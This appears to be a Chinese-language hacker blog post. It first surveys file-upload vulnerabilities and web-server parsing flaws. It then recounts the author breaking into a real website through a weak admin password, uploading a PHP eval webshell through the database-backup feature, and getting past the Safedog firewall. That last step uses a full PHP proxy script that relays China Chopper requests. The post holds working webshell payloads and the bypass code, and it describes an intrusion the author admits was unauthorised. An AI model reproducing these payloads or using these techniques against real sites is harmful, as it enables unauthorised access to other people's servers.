——人的理想志向往往和他的能力成正比。
在这里整理一些自己最近学习的文件上传的知识,方便自己回忆和深刻记忆(不全,只是将自己不知道的原理以及技巧分享出来)。
文件上传漏洞的几种情况(在ichunqiu的博客园扒的 - -。):
MIME类型绕过漏洞(就是content-type:)
文件内容检测绕过
空字节截断(%00,0x00)
解析导致的文件上传漏洞:
IIS6.0/IIS7.0/IIS7.5(后面细说)
Apache站上的解析缺陷绕过上传
htaccess文件上传解析漏洞
还有就是各种cms漏洞以及编辑器漏洞获取webshell。 接下来我来说说个别漏洞的成因原理,我觉得应该不止我一个人不知道这些漏洞原理的(反正我之前没去了解过),学习原理有一个好处就是,当我们遇到上传点了,一通瞎jb传,完了传不上去,不知道原因,总感觉自己哪个过程出错了。其实TM就是我不懂这些漏洞的原理,比如IIS7.5的cgi关了你看到了7.5的服务器,非tm要强行解析??(反正我有过)
先从IIS服务器开始吧(不对的地方欢迎给位大大指出):
IIS6.0 :
1.如果存在 a.asp目录,那么我们在该目录下上传的文件都会以asp解析 比如/a.asp/a.jpg
2.上传a.asp;.xx.jpg类型的文件,web服务器查到“;”会内存截断,所以就变成了a.asp文件,据说是iis的特性。
IIS7.0/7.5+Nginx≤0.8.37:
IIS7.0/7.5 由于PHP配置文件中,默认开启了cgi.fix_pathinfo,若url中存在 .php则iis交给php解析(所以不要怪解析漏洞不管用,可能是cgi被关闭了)
nginx和iis7.5类似,1.默认Fast-CGI开启状况下,上传一个x.jpg文件,内容为: <?php fputs(fopen(‘shell.php‘,‘w‘),‘<?php eval($_POST[cmd])?>‘);?>
访问../../../x.jpg/.php会在改目录下生成一个shell.php;
2.上传图片马 访问xxx.jpg%00.php执行代码----原理
Apache解析漏洞:
apache从右向左解析 所以 x.php.jpg文件将以x.php执行
还看到一篇文章是说 apache以moudle方式与php结合所以产生该漏洞,而以fastcgi方式则不存在该漏洞(这里我也不太懂,希望有大大可以给解释一下)
还要说一句,利用%00等的截断上传在php5.3.4以后就没有作用了,因为php5.3.4 修复了0字符。
漏洞上传绕过的具体姿势,见n牛的博客:这里
------------------------------------------------------------------------------------------------------------------万恶的分割线----------------------------------------------------------------------------------------------------------------------------------------------
最近两天在整理文件上传的姿势,基本上把网上能查到的都去学了一下姿势和原理,感觉成果还不错,今天就想着实战一下,找了一下自己手里有漏洞的站就试了一下手。
实战
手里的这个站是个弱口令后台 http://xxx.com/admin/ 账号密码 admin admin (其实现实中存在弱口令的网站有很多,即使不是以上这种 认真收集一下信息可能就会有意想不到的结果)废话不多说,进了后台看看。
刚一进来就发现了惊喜--“备份数据库”,呵 年轻人! 顿时觉得这个站八九不离十了。但是这两天研究了那么多上传姿势,我怎么甘心这么直接的getshell呢,所以准备来试试其他方法。
根据以有的信息, web服务器是iis的,但是哪个版本我TMD并没有发现(各位大大有什么方法可以交流一下,毕竟我是个新手菜比.. - -,),既然是iis的,就准备试试解析漏洞,找了个上传点先直接上传.asp文件试试(只要管理员不傻,这种情况基本不存在....),然后就..
将.asp改成.jpg传一下试试呢,卧槽,结果也不行?难不成不允许上传图片???然后试了一下正常图片
结果传上去了,那就很明显了,这个上传点不仅检查后缀名,文件类型,还检查文件内容。这时就想到了在n牛博客里看到的文件上传姿势,既然他检查文件内容那就加一个图片的头就好了。
ok,传上去了(这里传的php马),然后就尝试了各种方式改文件名,结果发现上传的图片被重命名了,这没办法了,解析漏洞也没得(敲黑板!iis7.5的话php默认开启cgi才存在畸形解析,而asp不存在cgi所以没有解析漏洞)所以我一怒之下! 呵,还是老老实实的数据库备份吧......
接下来的过程就没(整)有(篇)什(都)么(没)技术含量了,简单说一下过程吧,像这样
接下来访问该地址:
ojbk,我们的马儿欢快的传进去了,接下来就是掏出菜刀开干了,原本我以为一切如此顺利,结果连菜刀的时候他给老子爆这个??
我TM黑人问号脸,安全狗??好狗啊好狗,我手里又他妈没有什么过狗刀,难道放弃了?? 不存在的,忘记了在哪个牛的博客里看到了本地转发过狗的这个方法,还好当时记录了下来
先启动phpstudy,然后把我们的一句话马的地址插入到下面的代码里:
<?php $target="http://www.xxx.com/admin/Databackup/xxoo.php";//这个就是前面那个一句话的地址 $poststr=‘‘; $i=0; foreach($_POST as $k=>$v) { if(strstr($v, "base64_decode")) { $v=str_replace("base64_decode(","",$v); $v=str_replace("))",")",$v); } else { if($k==="z0") $v=base64_decode($v); } $pp=$k."=".urlencode($v); //echo($pp); if($i!=0) { $poststr=$poststr."&".$pp; } else { $poststr=$pp; } $i=$i+1; } $ch = curl_init(); $curl_url = $target."?".$_SERVER[‘QUERY_STRING‘]; curl_setopt($ch, CURLOPT_URL, $curl_url); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $poststr); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result = curl_exec($ch); curl_close($ch); echo $result; ?>
然后我们打开菜刀,添加 “http://127.0.0.1/webshell.php?a=assert” 密码就是一句话的密码(那个webshell.php就是上面代码保存的名字,记得要放到www目录) 就成功绕过了这条狗了
呵,还真是一条可爱的狗呢,老子提起菜刀就是给你一顿抡!
哈哈,没有对网站做任何破坏,我也不说什么友情检测之类的虚伪的话,写了这篇文章来记录自己成长路上的点滴,每当看到自己搞不定的问题其他大牛分分钟搞定,也许这就是能让我前进的动力吧。前段时间一个学长告诉我,一定要自己多写东西,当然这个写不是写文章写博客,而是敲代码,从代码层面来理解漏洞的原理,所以最近在疯狂的 百度 google各种web漏洞的原理,然后去理解,虽然不一定理解的很透彻(毕竟我是新手菜比),但是依然学到了很多很多东西 把这些想法和做法分享给和我一样菜的小白,希望我们在这条路上一起前进,不忘初心,别走上一条不归路,共勉!